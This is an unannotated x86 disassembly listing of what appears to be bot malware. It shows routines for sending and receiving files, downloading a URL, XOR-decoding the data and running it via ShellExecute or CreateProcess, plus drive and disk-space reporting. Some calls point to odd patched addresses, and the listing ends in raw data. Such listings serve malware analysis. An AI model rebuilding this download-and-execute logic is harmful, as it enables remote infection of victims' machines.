jmp short loc_416295
; ---------------------------------------------------------------------------
loc_416292: ; CODE XREF: ___:0041628Bj
movsx eax, al
loc_416295: ; CODE XREF: ___:00416290j
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_41B9C0
cmp [ebp+8], eax
pop ecx
jbe short loc_41627F
push ebx
push edi
call dword_4CB9FC
test eax, eax
jz short loc_4162C8
push offset unk_437FEC
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162C8: ; CODE XREF: ___:004162BCj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
nop
call near ptr 2730000h
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_4162F2
push offset unk_4380A8
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162F2: ; CODE XREF: ___:004162E6j
push esi
push eax
nop
call near ptr 2760B9Eh
mov [ebp+8], eax
push eax
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14
push eax
call dword_4CB9D0
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_438090
push eax
call sub_41C266
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409869
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_4CB9BC
test eax, eax
jg short loc_4163A2
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_438078
push eax
push dword ptr [ebp-1FCh]
call sub_409869
jmp loc_4164C6
; ---------------------------------------------------------------------------
loc_4163A2: ; CODE XREF: ___:00416380j
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4CBA68
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_4163DB
push offset unk_438054
loc_4163C8: ; CODE XREF: ___:0041620Aj
; ___:00416248j ...
lea eax, [ebp-3FCh]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4164C9
; ---------------------------------------------------------------------------
loc_4163DB: ; CODE XREF: ___:004163C1j
push edi
call dword_4CBA6C
cmp [ebp+8], esi
jz loc_41648D
mov edi, 400h
loc_4163F0: ; CODE XREF: ___:00416484j
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_4163FD
mov [ebp-4], eax
loc_4163FD: ; CODE XREF: ___:004163F8j
push edi
lea eax, [ebp-0A04h]
push esi
push eax
call sub_41BF70
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
call near ptr 27A0000h
nop
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
nop
call near ptr 271129Ah
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_4CBA24
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call dword_4CB9EC
cmp eax, ebx
jl loc_416522
mov eax, [ebp-4]
cmp eax, ebx
jl loc_416522
sub [ebp+8], eax
jnz loc_4163F0
mov edi, [ebp-18h]
loc_41648D: ; CODE XREF: ___:004163E5j
push dword ptr [ebp-8]
call near ptr 2670770h
nop
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_416CC9
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4CBA60
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_438028
push eax
call sub_41C266
loc_4164C6: ; CODE XREF: ___:0041639Dj
add esp, 14h
loc_4164C9: ; CODE XREF: ___:004163D6j
cmp [ebp-50h], esi
jnz short loc_4164EE
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409869
add esp, 14h
loc_4164EE: ; CODE XREF: ___:004164CCj
lea eax, [ebp-3FCh]
push eax
call sub_415D38
cmp edi, esi
pop ecx
jbe short loc_416506
push edi
call dword_4CBA6C
loc_416506: ; CODE XREF: ___:004164FDj
push dword ptr [ebp-1F8h]
call dword_4CBA6C
push dword ptr [ebp-58h]
call sub_40B6D6
pop ecx
push esi
nop
call near ptr 26F0A80h
loc_416522: ; CODE XREF: ___:00416470j
; ___:0041647Bj
push esi
mov esi, offset dword_438010
push dword ptr [ebp-54h]
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_409869
push esi
call sub_415D38
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4CBA6C
push dword ptr [ebp-58h]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 26F0A80h
loc_416563: ; DATA XREF: sub_401ACD+798o
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41C500
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
call near ptr 2680A92h
nop
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_429AC8
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
nop
call near ptr 2730000h
cmp eax, 0FFFFFFFFh
jnz short loc_4165ED
push offset unk_43818C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_4165ED: ; CODE XREF: ___:004165E4j
push eax
nop
call near ptr 2670770h
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41BEA2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_416615
push offset unk_43815C
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_416615: ; CODE XREF: ___:0041660Cj
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_415F7A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_416646
push offset unk_43813C
loc_416633: ; CODE XREF: ___:004165EBj
; ___:00416613j
lea eax, [ebp-4C4h]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_416742
; ---------------------------------------------------------------------------
loc_416646: ; CODE XREF: ___:0041662Cj
mov esi, 1000h
loc_41664B: ; CODE XREF: ___:004166B1j
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB9EC
mov edi, eax
cmp edi, ebx
jz loc_416712
cmp edi, 0FFFFFFFFh
jz short loc_4166B3
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41DB54
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_4CB9D0
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_4CBA24
jmp short loc_41664B
; ---------------------------------------------------------------------------
loc_4166B3: ; CODE XREF: ___:0041667Bj
lea eax, [ebp-4C4h]
push offset dword_438010
push eax
call sub_41C266
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409869
lea eax, [ebp-4C4h]
push eax
call sub_415D38
push dword ptr [ebp-4]
call sub_41BA3B
add esp, 24h
push dword ptr [ebp+8]
call dword_4CBA6C
push dword ptr [ebp-1Ch]
call sub_40B6D6
pop ecx
push 1
call near ptr 26F0A80h
nop
loc_416712: ; CODE XREF: ___:00416672j
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_438110
push eax
call sub_41C266
add esp, 14h
loc_416742: ; CODE XREF: ___:00416641j
cmp [ebp-14h], ebx
jnz short loc_416767
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409869
add esp, 14h
loc_416767: ; CODE XREF: ___:00416745j
lea eax, [ebp-4C4h]
push eax
call sub_415D38
cmp [ebp-4], ebx
pop ecx
jz short loc_416782
push dword ptr [ebp-4]
call sub_41BA3B
pop ecx
loc_416782: ; CODE XREF: ___:00416777j
cmp [ebp+8], ebx
jbe short loc_416790
push dword ptr [ebp+8]
call dword_4CBA6C
loc_416790: ; CODE XREF: ___:00416785j
push dword ptr [ebp-1Ch]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 26F0A80h
loc_4167A0: ; DATA XREF: sub_401ACD+619Bo
; sub_401ACD+69D9o
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4CB984
call dword_4CB8D8
cmp eax, esi
mov [ebp-18h], eax
jz loc_416C2C
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
nop
call near ptr 2730000h
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_416867
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_438358
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_41684A
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_41684A: ; CODE XREF: ___:00416828j
lea eax, [ebp-510h]
push eax
call sub_415D38
push dword ptr [ebp-48h]
call sub_40B6D6
pop ecx
pop ecx
push esi
call near ptr 26F0A80h
nop
loc_416867: ; CODE XREF: ___:00416808j
xor edi, edi
nop
call near ptr 26A07AFh
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41BEB5
pop ecx
mov [ebp-1Ch], eax
loc_416881: ; CODE XREF: ___:00416954j
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4CB8E0
cmp [ebp-34h], esi
jz short loc_4168C5
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_416C92
pop ecx
pop ecx
loc_4168C5: ; CODE XREF: ___:004168B2j
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
nop
call near ptr 2720000h
cmp edi, ebx
jnb short loc_416903
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_4168ED
mov eax, [ebp+8]
loc_4168ED: ; CODE XREF: ___:004168E8j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_41CD20
add esp, 0Ch
loc_416903: ; CODE XREF: ___:004168DFj
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_416910
cmp edi, [ebp-3Ch]
ja short loc_41695A
loc_416910: ; CODE XREF: ___:00416909j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_41692A
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_438330
jmp short loc_41693A
; ---------------------------------------------------------------------------
loc_41692A: ; CODE XREF: ___:00416916j
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_438308
loc_41693A: ; CODE XREF: ___:00416928j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_43E710
push eax
call sub_41C266
add esp, 10h
cmp [ebp+8], esi
ja loc_416881
loc_41695A: ; CODE XREF: ___:0041690Ej
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_4169AF
cmp edi, [ebp-3Ch]
jz short loc_4169AF
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_4382DC
push eax
call sub_41C266
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
lea eax, [ebp-510h]
push eax
call sub_415D38
add esp, 28h
loc_4169AF: ; CODE XREF: ___:00416964j
; ___:00416969j
nop
call near ptr 26A07AFh
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call near ptr 2670770h
nop
push dword ptr [ebp-1Ch]
call sub_41BA91
cmp [ebp-38h], esi
pop ecx
jz short loc_416A39
lea eax, [ebp-148h]
push eax
call sub_4010AB
cmp eax, [ebp-38h]
pop ecx
jz short loc_416A39
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_4382B4
push eax
call sub_41C266
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
lea eax, [ebp-510h]
push eax
call sub_415D38
add esp, 28h
loc_416A39: ; CODE XREF: ___:004169E1j
; ___:004169F3j
cmp [ebp-14h], esi
jz loc_416C79
cmp dword ptr [ebp-44h], 1
jz loc_416B34
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_427690
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_427690
fstp qword ptr [esp]
push offset unk_43827C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_416AB4
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_416AB4: ; CODE XREF: ___:00416A92j
lea eax, [ebp-510h]
push eax
call sub_415D38
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_416C79
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CB940
cmp [ebp-30h], esi
jnz loc_416C79
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_438260
push eax
call sub_41C266
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
lea eax, [ebp-510h]
push eax
call sub_415D38
add esp, 24h
jmp loc_416C79
; ---------------------------------------------------------------------------
loc_416B34: ; CODE XREF: ___:00416A46j
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_427690
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_427690
fstp qword ptr [esp]
push offset unk_43821C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_416B9C
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_416B9C: ; CODE XREF: ___:00416B7Aj
lea eax, [ebp-510h]
push eax
call sub_415D38
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset byte_43DB88
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
nop
call near ptr 26709E4h
cmp eax, edi
jnz short loc_416C1E
call dword_4CB92C
call sub_4188A6
push esi
nop
call near ptr 77E75CB5h
loc_416C1E: ; CODE XREF: ___:00416C0Aj
lea eax, [ebp-148h]
push eax
push offset unk_4381E8
jmp short loc_416C38
; ---------------------------------------------------------------------------
loc_416C2C: ; CODE XREF: ___:004167E5j
lea eax, [ebp-248h]
push eax
push offset unk_4381BC
loc_416C38: ; CODE XREF: ___:00416C2Aj
lea eax, [ebp-510h]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_416C6C
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409869
add esp, 14h
loc_416C6C: ; CODE XREF: ___:00416C4Aj
lea eax, [ebp-510h]
push eax
call sub_415D38
pop ecx
loc_416C79: ; CODE XREF: ___:00416A3Cj
; ___:00416AC5j ...
push dword ptr [ebp-18h]
call dword_4CBA08
push dword ptr [ebp-48h]
call sub_40B6D6
pop ecx
push esi
nop
call near ptr 26F0A80h
; =============== S U B R O U T I N E =======================================
sub_416C92 proc near ; CODE XREF: ___:004168BEp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416CAE
loc_416C9E: ; CODE XREF: sub_416C92+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416C9E
locret_416CAE: ; CODE XREF: sub_416C92+Aj
retn
sub_416C92 endp
; =============== S U B R O U T I N E =======================================
sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p
; sub_401ACD+5896p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DC5E
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416CAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CC9 proc near ; CODE XREF: sub_41036B+458p
; sub_41036B+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D35F8
push 0
push edi
call sub_41BF70
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416CEE: ; CODE XREF: sub_416CC9+5Bj
; sub_416CC9+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41DD20
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41DCB0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416D2C
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416CEE
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416CEE
; ---------------------------------------------------------------------------
loc_416D2C: ; CODE XREF: sub_416CC9+4Bj
dec esi
mov eax, edi
loc_416D2F: ; CODE XREF: sub_416CC9+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416D3E
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416D2F
; ---------------------------------------------------------------------------
loc_416D3E: ; CODE XREF: sub_416CC9+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416CC9 endp
; =============== S U B R O U T I N E =======================================
sub_416D48 proc near ; CODE XREF: sub_416EFD+51p
; sub_416EFD+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA34
sub eax, 0
jz short loc_416D8B
dec eax
jz short loc_416D85
dec eax
dec eax
jz short loc_416D7F
dec eax
jz short loc_416D79
dec eax
jz short loc_416D73
dec eax
jz short loc_416D6D
mov eax, offset word_4383AC
retn
; ---------------------------------------------------------------------------
loc_416D6D: ; CODE XREF: sub_416D48+1Dj
mov eax, offset off_4383A8
retn
; ---------------------------------------------------------------------------
loc_416D73: ; CODE XREF: sub_416D48+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416D79: ; CODE XREF: sub_416D48+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416D7F: ; CODE XREF: sub_416D48+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416D85: ; CODE XREF: sub_416D48+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416D8B: ; CODE XREF: sub_416D48+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D91 proc near ; CODE XREF: sub_416DD9+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CB8C4
test eax, eax
jz short loc_416DC6
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_416DC6: ; CODE XREF: sub_416D91+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416D91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p
; sub_41AF8F+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416D91
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41C360
add esp, 10h
pop ebx
jmp short loc_416EE9
; ---------------------------------------------------------------------------
loc_416EB7: ; CODE XREF: sub_416DD9+2Cj
; sub_416DD9+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
pop ecx
loc_416EE9: ; CODE XREF: sub_416DD9+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416DD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EFD proc near ; CODE XREF: sub_416FCF+17p
; sub_416FCF+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41CA50
add esp, 10h
test eax, eax
jnz short loc_416F70
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_4383FC
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_416FA4
; ---------------------------------------------------------------------------
loc_416F70: ; CODE XREF: sub_416EFD+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_4383C0
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 20h
loc_416FA4: ; CODE XREF: sub_416EFD+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_500]
push eax
call sub_415D38
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416EFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416FF0
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
jmp short loc_417051
; ---------------------------------------------------------------------------
loc_416FF0: ; CODE XREF: sub_416FCF+9j
push esi
push edi
push ebx
push ebx
call dword_4CB93C
lea esi, [eax+2]
push esi
call sub_41BEB5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CB93C
cmp [edi], bl
mov esi, edi
jz short loc_417048
loc_417014: ; CODE XREF: sub_416FCF+77j
push offset off_438438
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417037
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
loc_417037: ; CODE XREF: sub_416FCF+54j
push esi
call sub_41B9C0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_417014
loc_417048: ; CODE XREF: sub_416FCF+43j
push edi
call sub_41BA91
pop ecx
pop edi
pop esi
loc_417051: ; CODE XREF: sub_416FCF+1Fj
pop ebx
pop ebp
retn
sub_416FCF endp
; ---------------------------------------------------------------------------
dword_417054 dd 81EC8B55h, 49CECh, 8458B00h, 0B9575653h, 0A7h, 0BD8DF08Bh
; DATA XREF: sub_401ACD+67C1o
dd 0FFFFFD64h, 80C7A5F3h, 298h, 1, 0FEEC858Dh, 0E850FFFFh
dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh, 83FFFF27h
dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh, 0C4830000h
dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h, 83000051h
dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
